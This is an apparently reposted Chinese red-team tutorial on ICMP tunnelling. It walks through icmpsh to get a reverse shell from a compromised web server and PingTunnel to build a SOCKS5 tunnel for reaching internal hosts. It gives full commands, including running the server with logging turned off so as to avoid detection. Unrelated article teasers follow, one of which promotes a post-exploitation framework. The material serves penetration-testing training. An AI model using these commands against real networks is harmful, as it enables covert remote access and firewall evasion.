《红蓝攻防对抗实战》十二.内网穿透之利用ICMP协议进行隧道穿透

内网穿透之利用ICMP协议进行隧道穿透

  • 一.前言
  • 二.前文推荐
  • 三.利用ICMP协议进行隧道穿透
        • 1.ICMPsh获取反弹shell
        • 2.PingTunnel 搭建隧道
  • 四.本篇总结

一.前言

本文介绍了利用ICMP协议进行隧道穿透的方法。ICMP协议不需要开放端口,可以将TCP/UDP数据封装到ICMP的Ping数据包中,绕过防火墙限制。常见的ICMP隧道穿透工具有Icmpsh、Icmptunnel、Pingtunnel等。本文以ICMPsh和Pingtunnel为例,介绍了如何利用ICMP协议进行隧道穿透。

二.前文推荐

《红蓝攻防对抗实战》一. 隧道穿透技术详解
《红蓝攻防对抗实战》二.内网探测协议出网之TCP/UDP协议探测出网
《红蓝攻防对抗实战》三.内网探测协议出网之HTTP/HTTPS协议探测出网
《红蓝攻防对抗实战》四.内网探测协议出网之ICMP协议探测出网
《红蓝攻防对抗实战》五.内网探测协议出网之DNS协议探测出网
《红蓝攻防对抗实战》六.常规反弹之利用NC在windows系统执行反弹shell
《红蓝攻防对抗实战》七.常规反弹之利用NC在Linux系统执行反弹shell
《红蓝攻防对抗实战》八.利用OpenSSL对反弹shell流量进行加密
《红蓝攻防对抗实战》九.内网穿透之利用GRE协议进行隧道穿透
《红蓝攻防对抗实战》十.内网穿透之利用DNS协议进行隧道穿透
《红蓝攻防对抗实战》十一.内网穿透之利用SSH协议进行隧道穿透
————————————————————————————————————————————

三.利用ICMP协议进行隧道穿透

下面将介绍通过ICMP协议进行隧道穿透的方法。这种手段的优点是不需要开放端口就可将TCP/UDP数据封装到ICMP的Ping数据包中,从而绕过防火墙的限制,攻击者可以利用较短的命令得到大量的ICMP响应,常见的ICMP隧道穿透通常可以利用Icmpsh、Icmptunnel、Pingtunnel等工具实现,笔者这里以ICMPsh和Pingtunnel为案例介绍如何利用ICMP协议进行隧道穿透。

1.ICMPsh获取反弹shell

ICMPsh是一个简单的反向ICMP shell,与其他类似的开源工具相比,它的主要优势在于不需要管理权限即可在目标主机上运行,如图1-1所示的拓扑,假设内网中发现Web服务器,测试后其他协议方式无法进行隧道穿透,探测其开放ICMP协议,且获取到命令执行权限后,可以尝试利用ICMP隧道工具进行后续操作。

图1-1 ICMP协议实验拓扑图

1)首先在攻击机中执行echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all命令,关闭攻击机ICMP协议的应答。因为该工具要代替攻击机系统本身的ping命令去应答,为了防止内核自己对Ping数据包进行响应,所以需要关闭系统的ICMP应答,执行后如图1-2所示。

在这里插入图片描述

图1-2 关闭ping应答

2)关闭ICMP应答后,在攻击机中执行python2 icmpsh_m.py 192.168.0.2 192.168.0.3命令来连接Web服务器,如图1-3所示。这里注意的是,攻击机需要使用Python 2的环境来安装python-impacket模块,我们可以使用pip install impacket==0.9.12命令或者官网下载模块安装。

在这里插入图片描述

图1-3攻击机连接服务器

3)上述步骤操作完毕后,上传icmpsh.exe工具到Web服务器,在Web服务器执行icmpsh.exe -t 192.168.0.2命令反弹Shell到攻击机,执行结果如图1-4所示。

![](https://img-blog.csdnimg.cn/img_convert/e80aad8817b4becdbc9c1ad1acf5165c.png)

图1-4 服务器执行连接命令

4)此时攻击机已经成功获得Web服务器反弹的Shell权限,如图1-5所示。
在这里插入图片描述

图1-5 通过ICMP隧道成功获得Web服务器Shell权限
2.PingTunnel 搭建隧道

PingTunnel工具是基于ICMP协议的开源的隧道工具,其优点是使用简单,它的原理是通过将TCP/UDP/Sock5流量夹带在ICMP数据中进行转发,下面将会演示如何使用该工具进行隧道穿透,该工具的具体使用详细参数如表1-1所示。

表1-1 PingTunne工具详细参数

参数作用
-key设置的密码,默认为 0
-nolog不写日志文件,只打印标准输出,默认 0
-noprint不打印屏幕输出,默认 0
-loglevel日志文件等级,默认 info
-maxconn最大连接数,默认 0,不受限制
-maxprtserver 最大处理线程数,默认 100
-maxprbserver 最大处理线程 buffer 数,默认 1000
-connttserver 发起连接到目标地址的超时时间,默认 1000ms
-l本地的地址,发到这个端口的流量将转发到服务器
-s服务器的地址,流量将通过隧道转发到这个服务器
-t远端服务器转发的目的地址,流量将转发到这个地址
-timeout记录连接超时的时间,单位是秒,默认 60s
-tcp设置是否转发 tcp,默认 0
-tcp_bstcp 的发送接收缓冲区大小,默认 1MB
-tcp_mwtcp 的最大窗口,默认 20000
-tcp_rsttcp 的超时发送时间,默认 400ms
-tcp_gz当数据包超过这个大小,tcp 将压缩数据,0 表示不压缩,默认0
-tcp_stat打印 tcp 的监控,默认 0
-sock5开启 sock5 转发,默认 0
-profile在指定端口开启性能检测,默认 0 不开启
-s5filtersock5 模式设置转发过滤,默认全转发,设置 CN 代表 CN 地区的直连不转发

假设在内网渗透中发现主机,通过漏洞获取到系统控制权限,在对其进一步探测时,由于安全设备等方式的阻拦,其他协议方式无法穿透,这里仅开放ICMP协议,我们可以尝试利用PingTunnel工具进行后续操作,本次实验拓扑如图1-6所示,本次实验环境表如1-2所示。

图1-6 ICMP协议实验拓扑图

表1-2 ICMP协议实验环境表

主机类型IP配置
攻击机192.168.0.2
Web服务器192.168.0.3,192.168.52.2
目标服务器192.168.52.3

1)在攻击机上也可以执行sysctl -w net.ipv4.icmp_echo_ignore_all=1命令,关闭ICMP应答,防止接受本地的响应的ping数据包,如图1-7所示。注意实验完成后,如果要开启Icmp应答,我们使用上面这条命令将值改为0即可开启icmp应答。
在这里插入图片描述

图1-7 攻击机关闭Icmp回复

2)将PingTunnel工具上传至Web服务器后执行./pingtunnel -type server -noprint 1 -nolog 1命令,即可在Web服务器开启服务端监听,其中-noprint参数和-nolog参数是禁止产生日志文件,如果不使用该参数执行,则Web服务器就会生成大量的日志文件,很容易被检测到,执行成功后如图1-8所示。
在这里插入图片描述

图1-8 Web服务器开启服务端监听


3)在攻击机执行./pingtunnel -type client -l :1080 -s 192.168.0.3 -sock5 1命令,去连接服务端,这里攻击机将作为客户端连接Web服务器监听,并设置本地的1080端口做为socks连接端口,执行后如图1-9所示。

图1-9攻击机发起连接

4)随后,在攻击机中修改proxychains4.conf配置文件,并在其底部添加一行socks5 127.0.0.1 1080参数来完成proxychains代理配置,如图1-10所示。
在这里插入图片描述

图1-10 修改proxychains配置文件

5)当配置完proxychains代理后,即可在攻击机执行proxychains rdesktop 192.168.52.3命令来连接靶机,如图1-11所示,通过所建立的icmp协议隧道,我们可以直接远程连接到目标服务器中。

图1-11 ICMP隧道连接成功

四.本篇总结

随着隧道技术的不断更新迭代,越来越多的攻击者利用隧道技术攻击企业内网中,在本篇文章中介绍了如何利用ICMP协议进行隧道穿透,ICMP协议不需要开放端口,可以将TCP/UDP数据封装到ICMP的Ping数据包中,绕过防火墙限制。希望本篇对读者有用。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/189855.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Mysql数据库 14.SQL语言 视图

一、视图的概念 视图:就是由数据库中一张或多张表根据特定的条件查询出的数据狗造成的虚拟表 二、视图的作用 安全性,简单性 三、视图的语法 语法 create view 视图表 as select_statement; 代码实现 #创建视图 将查询结果创建称为视图&#x…

Flutter开发中的一些Tips(四)

最近接手了一个flutter项目,整体感觉代码质量不高,感觉有些是初学者容易犯的问题。几年前写的前三篇,我是站在我自己开发遇到问题的角度,这篇是站在别人遇到问题的角度,算是一种补充。下面我整理一下遇到的小问题&…

中国专利转让数据集(1985-2021年)

专利转让数据追踪和记录专利从一个实体转移到另一个实体的过程。这些数据不仅包括参与转让的申请人和受让人的身份信息,如名字和地址,还涵盖了转让的具体法律细节,包括转让执行日、转让次数、法律状态变更,以及转让登记的相关信息…

在Spring Boot中使用MyBatis访问数据库

MyBatis,这个对各位使用Java开发的开发者来说还是蛮重要的,我相信诸位在企业开发项目的时候,大多数采用的是Mybatis。使用MyBatis帮助我们解决各种问题,实际上这篇文章,基本上默认为可以跳过的一篇,但是为了…

Linux服务器从零开始训练 RT-DETR 改进项目 (Ultralytics) 教程,改进RTDETR算法(包括使用训练、验证、推理教程)

手把手从零开始训练 RT-DETR 改进项目 (Ultralytics版本) 教程,改进RTDETR算法 本文以Linux服务器为例:从零开始使用Linux训练 RT-DETR 算法项目 《芒果剑指 RT-DETR 目标检测算法 改进》 适用于芒果专栏改进RT-DETR算法 文章目录 百度 RT-DETR 算法介绍改进网络代码汇总第…

arcgis基础篇--实验

一、绘制带空洞的面要素 方法一:先绘制出一个面区域,然后在面上再绘制一个面区域代表面洞,两者位于同一个图层内,选中代表面洞的区域,选择【编辑器】-【裁剪】工具,将面裁剪出一个洞,随后删除代…

openinstall携手途虎养车,赋能汽车服务数字化

近日,openinstall与中国领先的一站式汽车服务平台途虎养车再次续约,双方将开启第三年合作。过去两年,途虎在建设线上线下一体化数字平台的过程中,深度结合openinstall传参归因与渠道统计技术,打造出了一套高效的渠道来…

GZ038 物联网应用开发赛题第4套

2023年全国职业院校技能大赛 高职组 物联网应用开发 任 务 书 (第4套卷) 工位号:______________ 第一部分 竞赛须知 一、竞赛要求 1、正确使用工具,操作安全规范; 2、竞赛过程中如有异议,可向现场考评…

Hadoop学习总结(使用Java API操作HDFS)

使用Java API操作HDFS,是在安装和配置Maven、IDEA中配置Maven成功情况下进行的,如果Maven安装和配置不完全将不能进行Java API操作HDFS。 由于Hadoop是使用Java语言编写的,因此可以使用Java API操作Hadoop文件系统。使用HDFS提供的Java API构…

C语言进阶

数组 在基础篇说过,数组实际上是构造类型之一,是连续存放的。 一维数组 定义 定义格式:[存储类型] 数据类型 数组名标识符[下标]; 下面分模块来介绍一下数组的定义部分的内容。 1、初始化和元素引用: 可以看到数组是连续存储…

Linux--gcc/g++

一、gcc/g是什么 gcc的全称是GNU Compiler Collection,它是一个能够编译多种语言的编译器。最开始gcc是作为C语言的编译器(GNU C Compiler),现在除了c语言,还支持C、java、Pascal等语言。gcc支持多种硬件平台 二、gc…

数据结构 队列(C语言实现)

目录 1.队列的概念及结构2.队列的代码实现 正文开始前给大家推荐个网站,前些天发现了一个巨牛的 人工智能学习网站, 通俗易懂,风趣幽默,忍不住分享一下给大家。 点击跳转到网站。 1.队列的概念及结构 队列:只允许在…

Java Web——TomcatWeb服务器

目录 1. 服务器概述 1.1. 服务器硬件 1.2. 服务器软件 2. Web服务器 2.1. Tomcat服务器 2.2. 简单的Web服务器使用 1. 服务器概述 服务器指的是网络环境下为客户机提供某种服务的专用计算机,服务器安装有网络操作系统和各种服务器的应用系统服务器的具有高速…

【2011年数据结构真题】

41题 41题解答: (1)图 G 的邻接矩阵 A 如下所示: 由题意得,A为上三角矩阵,在上三角矩阵A[6][6]中,第1行至第5行主对角线上方的元素个数分别为5, 4, 3, 2, 1 用 “ 平移” 的思想,…

vmware workstation 与 device/credential guard 不兼容

VM虚拟机报错 vmware虚拟机启动时报错:vmware workstation 与 device/credential guard 不兼容: 系统是win10专业版,导致报错原因最终发现是安装了docker,docker自带下载虚拟机Hyper-V,而导致vmware workstation 与 …

FPGA高端项目:图像采集+GTX+UDP架构,高速接口以太网视频传输,提供2套工程源码加QT上位机源码和技术支持

目录 1、前言免责声明本项目特点 2、相关方案推荐我这里已有的 GT 高速接口解决方案我这里已有的以太网方案 3、设计思路框架设计框图视频源选择OV5640摄像头配置及采集动态彩条视频数据组包GTX 全网最细解读GTX 基本结构GTX 发送和接收处理流程GTX 的参考时钟GTX 发送接口GTX …

MSF图形化工具Viper快速安装

简介 Viper(炫彩蛇)是一款图形化内网渗透工具,将内网渗透过程中常用的战术及技术进行模块化及武器化. Viper(炫彩蛇)集成杀软绕过,内网隧道,文件管理,命令行等基础功能. Viper(炫彩蛇)当前已集成70个模块,覆盖初始访问/持久化/权限提升/防御绕过/凭证访问/信息收集/横向移动等…

Python的基础语句大全

以下是Python的基础语句大全: 变量定义语句: var_name var_value输出语句: print(var_name)输入语句: var_name input()条件语句: if condition:// do something if condition is True elif condition:// do somethi…

STM32F407: CMSIS-DSP库的移植(基于库文件)

目录 1. 源码下载 2. DSP库源码简介 3.基于库的移植(DSP库的使用) 3.1 实验1 3.2 实验2 4. 使用V6版本的编译器进行编译 上一篇:STM32F407-Discovery的硬件FPU-CSDN博客 1. 源码下载 Github地址:GitHub - ARM-software/CMSIS_5: CMSIS Version 5…

Golang 字符串处理汇总

1. 统计字符串长度:len(str) len(str) 函数用于统计字符串的长度,按字节进行统计,且该函数属于内置函数也不用导包,直接用就行,示例如下: //统计字符串的长度,按字节进行统计: str : "golang你好&qu…